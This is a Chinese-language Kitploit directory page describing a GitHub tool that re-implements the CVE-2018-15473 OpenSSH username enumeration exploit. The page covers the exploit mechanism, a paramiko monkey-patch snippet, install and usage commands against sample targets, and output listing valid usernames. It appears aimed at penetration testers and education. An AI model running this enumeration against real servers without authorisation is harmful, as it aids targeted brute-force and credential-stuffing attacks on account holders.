Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/k3rn3l-32/threaded-cve-2018-15473
侦察漏洞分析漏洞利用信息收集渗透测试学习与教育
GitHubk3rn3l-32/threaded-cve-2018-15473

Threaded-CVE-2018-15473

一个经典CVE-2018-15473 OpenSSH用户枚举漏洞的Python 3重实现,扩展了多线程、字典支持、自动漏洞检测和线程安全的漏洞修补功能。

查看仓库
25个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2018-15473 — SSH用户名枚举工具

基于Python 3重新实现的经典CVE-2018-15473 OpenSSH用户枚举漏洞利用工具,扩展了多线程、字典支持、自动漏洞检测和线程安全的漏洞利用补丁。


目录

  • 关于漏洞
  • 漏洞利用原理
  • 功能特性
  • 依赖要求
  • 安装
  • 用法
  • 示例
  • 致谢与原始研究
  • 免责声明

关于漏洞

CVE-2018-15473 是一个影响 OpenSSH 版本 2.3 到 7.7 的用户枚举漏洞。

该漏洞源于 OpenSSH 服务器对有效和无效用户名的认证尝试响应存在细微差异。通过构造一个畸形的公钥认证数据包,攻击者可以观察服务器的行为,从而判断给定用户名在系统上是否存在——无需知道用户密码。

此信息可能是针对性暴力破解或凭证填充攻击的关键第一步。

详情值
CVE IDCVE-2018-15473
受影响版本OpenSSH 2.3 – 7.7
CVSS 评分5.3(中等)
类型信息泄露 / 用户枚举
是否需要认证否

漏洞利用原理

OpenSSH 的认证流程通常如下:

root@kitploit:~
Client → MSG_SERVICE_REQUEST  → Server
Client ← MSG_SERVICE_ACCEPT   ← Server
Client → MSG_USERAUTH_REQUEST → Server
Client ← MSG_USERAUTH_FAILURE or MSG_USERAUTH_SUCCESS ← Server

该漏洞利用滥用了 MSG_SERVICE_ACCEPT 阶段。当服务器返回 MSG_SERVICE_ACCEPT 时,客户端应在随后的 MSG_USERAUTH_REQUEST 数据包中追加一个布尔字段。通过将 paramiko 的 Message.add_boolean 方法修补为无操作,该工具发送一个畸形/截断的认证数据包。

OpenSSH 服务器随后根据用户名是否存在表现出不同行为:

  • 无效用户名 → 服务器立即以 MSG_USERAUTH_FAILURE 拒绝(用户名不存在,无需检查密钥)
  • 有效用户名 → 服务器抛出 AuthenticationException(它尝试验证密钥,从而确认用户存在)

该工具通过修补后的 paramiko 处理程序(_parse_userauth_failure 和 _parse_service_accept)拦截这两个响应,并对每个用户名进行分类。

线程安全修复

原始 PoC 永久性地修补了 add_boolean,这导致多个线程同时运行时出现竞态条件——线程会干扰彼此的握手,产生错误的 SSH negotiation failed 错误。本次重新实现将修补操作封装在 threading.Lock() 中,使其变成原子操作:

root@kitploit:~
with _patch_lock:
    real_add_boolean = paramiko.message.Message.add_boolean
    paramiko.message.Message.add_boolean = _add_boolean_noop
    try:
        result = original_service_accept(auth_handler, m)
    finally:
        paramiko.message.Message.add_boolean = real_add_boolean

功能特性

  • 单一用户名检查 — 快速单次模式
  • 字典模式 — 枚举完整的用户名列表
  • 多线程 — 可配置线程数,全部线程安全
  • 自动漏洞检测 — 使用 nmap 在扫描前验证目标运行的是存在漏洞的 OpenSSH 版本
  • 去重 — 自动从字典中删除重复用户名
  • 整洁输出 — 带颜色编码的结果和摘要报告

依赖要求

  • Python 3.8+
  • paramiko
  • python-nmap
  • nmap(系统二进制文件,必须安装)

安装

root@kitploit:~
git clone https://github.com/K3rn3l-32/Threaded-CVE-2018-15473.git
cd CVE-2018-15473

# 创建并激活虚拟环境(推荐)
python3 -m venv venv
source venv/bin/activate

# 安装依赖项
pip install paramiko python-nmap

确保系统上已安装 nmap:

root@kitploit:~
# Debian/Ubuntu/Kali
sudo apt install nmap

用法

root@kitploit:~
usage: main.py [-h] [-p PORT] [-t THREADS] (-u USERNAME | -U WORDLIST) target

positional arguments:
  target                目标IP地址

options:
  -h, --help            显示帮助信息并退出
  -p, --port PORT       SSH端口(默认:22)
  -t, --threads THREADS 字典模式线程数(默认:3)
  -u USERNAME           要检查的单个用户名
  -U WORDLIST           字典文件路径

示例

检查单个用户名:

root@kitploit:~
python main.py 192.168.1.10 -u root

使用默认线程数枚举字典:

root@kitploit:~
python main.py 192.168.1.10 -U /usr/share/wordlists/users.txt

使用自定义线程数和端口枚举:

root@kitploit:~
python main.py 192.168.1.10 -U users.txt -t 10 -p 2222

示例输出:

root@kitploit:~
[*] Scanning 192.168.56.109:22 ...
[*] Target running OpenSSH version: 4.7
[+] Target is VULNERABLE to CVE-2018-15473

[*] Loaded   : 12 usernames (0 duplicate(s) removed → 12 unique)
[*] Target   : 192.168.56.109:22
[*] Threads  : 10

  [+] root     <- VALID
  [+] service  <- VALID
  [-] guest
  [-] admin
  ...

─────────────────────────────────────────────
[*] Scan complete in 3.87s
[*] Checked  : 12 usernames
[*] Threads  : 10

[+] Valid    (2)  : ['root', 'service']
[-] Invalid  (8)
[!] Errors   (2)  : ['postgres', 'temp']

致谢与原始研究

本工具是原始概念验证漏洞利用程序的 Python 3 重新实现与扩展。发现和记录此漏洞的全部功劳归于原始研究人员:

角色名称/代号

原始漏洞利用程序:https://leapsecurity.io

本次重新实现新增了:

  • Python 3 兼容性(原始版本为 Python 2)
  • 线程安全的漏洞利用补丁(竞态条件修复)
  • 带多线程的字典模式
  • 基于 nmap 的自动漏洞检测
  • 结构化的结果报告

免责声明

本工具仅用于教育目的和授权渗透测试。 针对非您拥有或未经明确书面许可的系统使用此工具是非法且不道德的。 作者对任何滥用本软件的行为概不负责。 请始终进行负责任的披露。

下载工具
原始 PoC 作者
Leap Security (@LeapSecurity)
漏洞研究Matthew Daley
漏洞研究Justin Gardner
漏洞研究Lee David Painter